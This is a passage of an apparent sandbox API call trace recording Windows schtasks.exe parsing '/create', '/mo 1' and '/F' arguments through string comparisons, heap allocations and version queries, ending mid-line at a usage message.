_ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.424] lstrlenW (lpString="|create|") returned 8 [0171.424] lstrlenW (lpString="|mo|") returned 4 [0171.424] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0171.424] RtlRestoreLastWin32Error () returned 0x490 [0171.424] lstrlenW (lpString="delete") returned 6 [0171.424] lstrlenW (lpString="delete") returned 6 [0171.424] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.424] lstrlenW (lpString="mo") returned 2 [0171.424] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.424] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|delete|") returned 8 [0171.424] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.424] lstrlenW (lpString="|delete|") returned 8 [0171.424] lstrlenW (lpString="|mo|") returned 4 [0171.424] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0171.424] RtlRestoreLastWin32Error () returned 0x490 [0171.424] lstrlenW (lpString="query") returned 5 [0171.424] lstrlenW (lpString="query") returned 5 [0171.424] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.424] lstrlenW (lpString="mo") returned 2 [0171.424] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.425] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|query|") returned 7 [0171.425] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.425] lstrlenW (lpString="|query|") returned 7 [0171.425] lstrlenW (lpString="|mo|") returned 4 [0171.425] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0171.425] RtlRestoreLastWin32Error () returned 0x490 [0171.425] lstrlenW (lpString="change") returned 6 [0171.425] lstrlenW (lpString="change") returned 6 [0171.425] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.425] lstrlenW (lpString="mo") returned 2 [0171.425] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.425] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|change|") returned 8 [0171.425] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.425] lstrlenW (lpString="|change|") returned 8 [0171.425] lstrlenW (lpString="|mo|") returned 4 [0171.425] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0171.425] RtlRestoreLastWin32Error () returned 0x490 [0171.425] lstrlenW (lpString="run") returned 3 [0171.425] lstrlenW (lpString="run") returned 3 [0171.425] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.425] lstrlenW (lpString="mo") returned 2 [0171.425] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.425] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|run|") returned 5 [0171.425] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.425] lstrlenW (lpString="|run|") returned 5 [0171.425] lstrlenW (lpString="|mo|") returned 4 [0171.425] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0171.425] RtlRestoreLastWin32Error () returned 0x490 [0171.426] lstrlenW (lpString="end") returned 3 [0171.426] lstrlenW (lpString="end") returned 3 [0171.426] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.426] lstrlenW (lpString="mo") returned 2 [0171.426] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.426] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|end|") returned 5 [0171.426] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.426] lstrlenW (lpString="|end|") returned 5 [0171.426] lstrlenW (lpString="|mo|") returned 4 [0171.426] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0171.426] RtlRestoreLastWin32Error () returned 0x490 [0171.426] lstrlenW (lpString="showsid") returned 7 [0171.426] lstrlenW (lpString="showsid") returned 7 [0171.426] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.426] lstrlenW (lpString="mo") returned 2 [0171.426] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.426] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|showsid|") returned 9 [0171.426] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|mo|") returned 4 [0171.426] lstrlenW (lpString="|showsid|") returned 9 [0171.426] lstrlenW (lpString="|mo|") returned 4 [0171.426] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0171.426] RtlRestoreLastWin32Error () returned 0x490 [0171.426] RtlRestoreLastWin32Error () returned 0x490 [0171.426] RtlRestoreLastWin32Error () returned 0x0 [0171.426] lstrlenW (lpString="/mo") returned 3 [0171.426] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0171.426] RtlRestoreLastWin32Error () returned 0x490 [0171.426] RtlRestoreLastWin32Error () returned 0x0 [0171.426] lstrlenW (lpString="/mo") returned 3 [0171.427] GetProcessHeap () returned 0x46b0000 [0171.427] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x8) returned 0x46b6768 [0171.427] GetProcessHeap () returned 0x46b0000 [0171.427] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b96b8 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] lstrlenW (lpString="1") returned 1 [0171.427] RtlRestoreLastWin32Error () returned 0x490 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] lstrlenW (lpString="1") returned 1 [0171.427] StrChrIW (lpStart="1", wMatch=0x3a) returned 0x0 [0171.427] RtlRestoreLastWin32Error () returned 0x490 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] lstrlenW (lpString="1") returned 1 [0171.427] GetProcessHeap () returned 0x46b0000 [0171.427] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x4) returned 0x46b69d0 [0171.427] GetProcessHeap () returned 0x46b0000 [0171.427] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b97d8 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] RtlRestoreLastWin32Error () returned 0x0 [0171.427] lstrlenW (lpString="/F") returned 2 [0171.427] lstrlenW (lpString="-/") returned 2 [0171.427] StrChrIW (lpStart="-/", wMatch=0x488002f) returned="/" [0171.427] lstrlenW (lpString="?") returned 1 [0171.427] lstrlenW (lpString="?") returned 1 [0171.427] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.427] lstrlenW (lpString="F") returned 1 [0171.427] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.427] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|?|") returned 3 [0171.427] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.427] lstrlenW (lpString="|?|") returned 3 [0171.428] lstrlenW (lpString="|F|") returned 3 [0171.428] StrStrIW (lpFirst="|?|", lpSrch="|F|") returned 0x0 [0171.428] RtlRestoreLastWin32Error () returned 0x490 [0171.428] lstrlenW (lpString="create") returned 6 [0171.428] lstrlenW (lpString="create") returned 6 [0171.428] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.428] lstrlenW (lpString="F") returned 1 [0171.428] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.428] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|create|") returned 8 [0171.428] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.428] lstrlenW (lpString="|create|") returned 8 [0171.428] lstrlenW (lpString="|F|") returned 3 [0171.428] StrStrIW (lpFirst="|create|", lpSrch="|F|") returned 0x0 [0171.428] RtlRestoreLastWin32Error () returned 0x490 [0171.428] lstrlenW (lpString="delete") returned 6 [0171.428] lstrlenW (lpString="delete") returned 6 [0171.428] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.428] lstrlenW (lpString="F") returned 1 [0171.428] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.428] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|delete|") returned 8 [0171.428] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.428] lstrlenW (lpString="|delete|") returned 8 [0171.428] lstrlenW (lpString="|F|") returned 3 [0171.428] StrStrIW (lpFirst="|delete|", lpSrch="|F|") returned 0x0 [0171.428] RtlRestoreLastWin32Error () returned 0x490 [0171.428] lstrlenW (lpString="query") returned 5 [0171.429] lstrlenW (lpString="query") returned 5 [0171.429] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.429] lstrlenW (lpString="F") returned 1 [0171.429] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.429] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|query|") returned 7 [0171.429] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.429] lstrlenW (lpString="|query|") returned 7 [0171.429] lstrlenW (lpString="|F|") returned 3 [0171.429] StrStrIW (lpFirst="|query|", lpSrch="|F|") returned 0x0 [0171.429] RtlRestoreLastWin32Error () returned 0x490 [0171.429] lstrlenW (lpString="change") returned 6 [0171.429] lstrlenW (lpString="change") returned 6 [0171.429] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.429] lstrlenW (lpString="F") returned 1 [0171.429] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.429] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|change|") returned 8 [0171.429] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.429] lstrlenW (lpString="|change|") returned 8 [0171.429] lstrlenW (lpString="|F|") returned 3 [0171.429] StrStrIW (lpFirst="|change|", lpSrch="|F|") returned 0x0 [0171.429] RtlRestoreLastWin32Error () returned 0x490 [0171.429] lstrlenW (lpString="run") returned 3 [0171.429] lstrlenW (lpString="run") returned 3 [0171.429] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.430] lstrlenW (lpString="F") returned 1 [0171.430] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.430] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|run|") returned 5 [0171.430] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.430] lstrlenW (lpString="|run|") returned 5 [0171.430] lstrlenW (lpString="|F|") returned 3 [0171.430] StrStrIW (lpFirst="|run|", lpSrch="|F|") returned 0x0 [0171.430] RtlRestoreLastWin32Error () returned 0x490 [0171.430] lstrlenW (lpString="end") returned 3 [0171.430] lstrlenW (lpString="end") returned 3 [0171.430] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.430] lstrlenW (lpString="F") returned 1 [0171.430] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.430] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|end|") returned 5 [0171.431] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.431] lstrlenW (lpString="|end|") returned 5 [0171.431] lstrlenW (lpString="|F|") returned 3 [0171.431] StrStrIW (lpFirst="|end|", lpSrch="|F|") returned 0x0 [0171.431] RtlRestoreLastWin32Error () returned 0x490 [0171.431] lstrlenW (lpString="showsid") returned 7 [0171.431] lstrlenW (lpString="showsid") returned 7 [0171.431] _memicmp (_Buf1=0x46b75f8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.431] lstrlenW (lpString="F") returned 1 [0171.431] _memicmp (_Buf1=0x46b7598, _Buf2=0x232708, _Size=0x7) returned 0 [0171.431] _vsnwprintf (in: _Buffer=0x46b9638, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|showsid|") returned 9 [0171.431] _vsnwprintf (in: _Buffer=0x46b9618, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcf590 | out: _Buffer="|F|") returned 3 [0171.431] lstrlenW (lpString="|showsid|") returned 9 [0171.431] lstrlenW (lpString="|F|") returned 3 [0171.431] StrStrIW (lpFirst="|showsid|", lpSrch="|F|") returned 0x0 [0171.431] RtlRestoreLastWin32Error () returned 0x490 [0171.432] RtlRestoreLastWin32Error () returned 0x490 [0171.432] RtlRestoreLastWin32Error () returned 0x0 [0171.432] lstrlenW (lpString="/F") returned 2 [0171.432] StrChrIW (lpStart="/F", wMatch=0x3a) returned 0x0 [0171.432] RtlRestoreLastWin32Error () returned 0x490 [0171.432] RtlRestoreLastWin32Error () returned 0x0 [0171.432] lstrlenW (lpString="/F") returned 2 [0171.432] GetProcessHeap () returned 0x46b0000 [0171.432] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x6) returned 0x46b6ce0 [0171.432] GetProcessHeap () returned 0x46b0000 [0171.432] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b96d8 [0171.432] RtlRestoreLastWin32Error () returned 0x0 [0171.432] GetProcessHeap () returned 0x46b0000 [0171.432] GetProcessHeap () returned 0x46b0000 [0171.432] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6da0) returned 1 [0171.432] GetProcessHeap () returned 0x46b0000 [0171.432] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6da0) returned 0x8 [0171.432] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b6da0) returned 1 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9798) returned 1 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9798) returned 0x14 [0171.433] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b9798) returned 1 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b90c8) returned 1 [0171.433] GetProcessHeap () returned 0x46b0000 [0171.433] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b90c8) returned 0x24 [0171.434] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b90c8) returned 1 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9698) returned 1 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9698) returned 0x14 [0171.434] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b9698) returned 1 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9968) returned 1 [0171.434] GetProcessHeap () returned 0x46b0000 [0171.434] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9968) returned 0x8 [0171.435] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b9968) returned 1 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b97b8) returned 1 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b97b8) returned 0x14 [0171.435] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b97b8) returned 1 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46bab58) returned 1 [0171.435] GetProcessHeap () returned 0x46b0000 [0171.435] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46bab58) returned 0x7c [0171.436] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46bab58) returned 1 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b96f8) returned 1 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b96f8) returned 0x14 [0171.436] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b96f8) returned 1 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b28f8) returned 1 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.436] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b28f8) returned 0x8 [0171.436] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b28f8) returned 1 [0171.436] GetProcessHeap () returned 0x46b0000 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9718) returned 1 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9718) returned 0x14 [0171.437] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b9718) returned 1 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46baeb0) returned 1 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46baeb0) returned 0xe [0171.437] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46baeb0) returned 1 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b9738) returned 1 [0171.437] GetProcessHeap () returned 0x46b0000 [0171.437] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b9738) returned 0x14 [0171.437] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b9738) returned 1 [0171.448] GetProcessHeap () returned 0x46b0000 [0171.448] GetProcessHeap () returned 0x46b0000 [0171.448] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6768) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6768) returned 0x8 [0171.449] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b6768) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b96b8) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b96b8) returned 0x14 [0171.449] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b96b8) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b69d0) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.449] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b69d0) returned 0x4 [0171.449] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b69d0) returned 1 [0171.449] GetProcessHeap () returned 0x46b0000 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b97d8) returned 1 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b97d8) returned 0x14 [0171.450] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b97d8) returned 1 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b6ce0) returned 1 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b6ce0) returned 0x6 [0171.450] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b6ce0) returned 1 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b96d8) returned 1 [0171.450] GetProcessHeap () returned 0x46b0000 [0171.450] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b96d8) returned 0x14 [0171.450] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b96d8) returned 1 [0171.451] GetProcessHeap () returned 0x46b0000 [0171.451] GetProcessHeap () returned 0x46b0000 [0171.451] HeapValidate (hHeap=0x46b0000, dwFlags=0x0, lpMem=0x46b74c0) returned 1 [0171.451] GetProcessHeap () returned 0x46b0000 [0171.451] RtlSizeHeap (HeapHandle=0x46b0000, Flags=0x0, MemoryPointer=0x46b74c0) returned 0x10 [0171.451] RtlFreeHeap (HeapHandle=0x46b0000, Flags=0x0, BaseAddress=0x46b74c0) returned 1 [0171.452] RtlRestoreLastWin32Error () returned 0x0 [0171.452] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0171.452] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0171.452] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0171.452] RtlVerifyVersionInfo (VersionInfo=0xcc910, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0171.452] RtlRestoreLastWin32Error () returned 0x0 [0171.452] lstrlenW (lpString="create") returned 6 [0171.452] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0171.452] RtlRestoreLastWin32Error () returned 0x490 [0171.452] RtlRestoreLastWin32Error () returned 0x0 [0171.452] lstrlenW (lpString="create") returned 6 [0171.452] GetProcessHeap () returned 0x46b0000 [0171.452] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b97b8 [0171.452] GetProcessHeap () returned 0x46b0000 [0171.452] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x10) returned 0x46b74c0 [0171.452] _memicmp (_Buf1=0x46b74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0171.453] GetProcessHeap () returned 0x46b0000 [0171.453] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x16) returned 0x46b97d8 [0171.453] RtlRestoreLastWin32Error () returned 0x0 [0171.453] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.453] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x46b8e10, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0171.453] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xcca1c | out: lpdwHandle=0xcca1c) returned 0x76c [0171.455] GetProcessHeap () returned 0x46b0000 [0171.455] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x776) returned 0x46ba0a0 [0171.455] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x46ba0a0 | out: lpData=0x46ba0a0) returned 1 [0171.455] VerQueryValueW (in: pBlock=0x46ba0a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xcca24, puLen=0xcca28 | out: lplpBuffer=0xcca24*=0x46ba450, puLen=0xcca28) returned 1 [0171.455] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.455] _vsnwprintf (in: _Buffer=0x46b8e10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xcca08 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0171.455] VerQueryValueW (in: pBlock=0x46ba0a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xcca34, puLen=0xcca30 | out: lplpBuffer=0xcca34*=0x46ba280, puLen=0xcca30) returned 1 [0171.455] lstrlenW (lpString="schtasks.exe") returned 12 [0171.455] lstrlenW (lpString="schtasks.exe") returned 12 [0171.455] lstrlenW (lpString=".EXE") returned 4 [0171.455] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0171.456] lstrlenW (lpString="schtasks.exe") returned 12 [0171.456] lstrlenW (lpString=".EXE") returned 4 [0171.456] lstrlenW (lpString="schtasks") returned 8 [0171.456] lstrlenW (lpString="/create") returned 7 [0171.456] _memicmp (_Buf1=0x46b74d8, _Buf2=0x232708, _Size=0x7) returned 0 [0171.456] _vsnwprintf (in: _Buffer=0x46b8e10, _BufferCount=0x19, _Format="%s %s", _ArgList=0xcca08 | out: _Buffer="schtasks /create") returned 16 [0171.456] _memicmp (_Buf1=0x46b7580, _Buf2=0x232708, _Size=0x7) returned 0 [0171.456] GetProcessHeap () returned 0x46b0000 [0171.456] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x14) returned 0x46b9498 [0171.456] _memicmp (_Buf1=0x46b7460, _Buf2=0x232708, _Size=0x7) returned 0 [0171.456] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x46ba950, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0171.456] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0171.456] GetProcessHeap () returned 0x46b0000 [0171.457] RtlAllocateHeap (HeapHandle=0x46b0000, Flags=0xc, Size=0x30) returned 0x46b90c8 [0171.457] _vsnwprintf (in: _Buffer=0x46b9020, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", 